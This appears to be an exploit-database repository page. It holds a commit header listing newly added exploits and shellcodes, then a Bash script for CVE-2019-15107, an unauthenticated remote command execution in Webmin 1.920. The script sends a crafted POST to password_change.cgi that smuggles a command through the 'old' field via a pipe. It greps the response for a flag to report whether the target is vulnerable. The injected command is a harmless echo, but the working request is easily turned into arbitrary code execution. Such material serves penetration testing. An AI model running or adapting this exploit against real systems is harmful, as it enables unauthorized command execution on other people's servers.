c0ff0bbedd
10 changes to exploits/shellcodes RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service Kimai 2 - Persistent Cross-Site Scripting FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure (Metasploit) FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure Neo Billing 3.5 - Persistent Cross-Site Scripting Webmin 1.920 - Remote Code Execution YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection Linux/x86_64 - Bind Shell (/bin/sh) with Configurable Password Shellcode (129 bytes) Linux/x86_64 - Reverse Shell (/bin/sh) with Configurable Password Shellcode (120 bytes) Linux/x86_64 - AVX2 XOR Decoder + execve(_/bin/sh_) Shellcode (62 bytes)
31 lines
No EOL
1.3 KiB
Bash
Executable file
31 lines
No EOL
1.3 KiB
Bash
Executable file
#!/bin/sh
|
|
#
|
|
# CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
|
|
# based on Metasploit module https://www.exploit-db.com/exploits/47230
|
|
# Original advisory: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
|
|
# Alternative advisory (spanish): https://blog.nivel4.com/noticias/vulnerabilidad-de-ejecucion-de-comandos-remotos-en-webmin
|
|
#
|
|
# Fernando A. Lagos B. (Zerial)
|
|
# https://blog.zerial.org
|
|
# https://blog.nivel4.com
|
|
#
|
|
# The script sends a flag by a echo command then grep it. If match, target is vulnerable.
|
|
#
|
|
# Usage: sh CVE-2019-15107.sh https://target:port
|
|
# Example: sh CVE-2019-15107.sh https://localhost:10000
|
|
# output: Testing for RCE (CVE-2019-15107) on https://localhost:10000: VULNERABLE!
|
|
#
|
|
|
|
FLAG="f3a0c13c3765137bcde68572707ae5c0"
|
|
URI=$1;
|
|
|
|
echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
|
|
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|echo '$FLAG'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1
|
|
|
|
if [ $? -eq 0 ];
|
|
then
|
|
echo '\033[0;31mVULNERABLE!\033[0m'
|
|
else
|
|
echo '\033[0;32mOK! (target is not vulnerable)\033[0m'
|
|
fi
|
|
#EOF |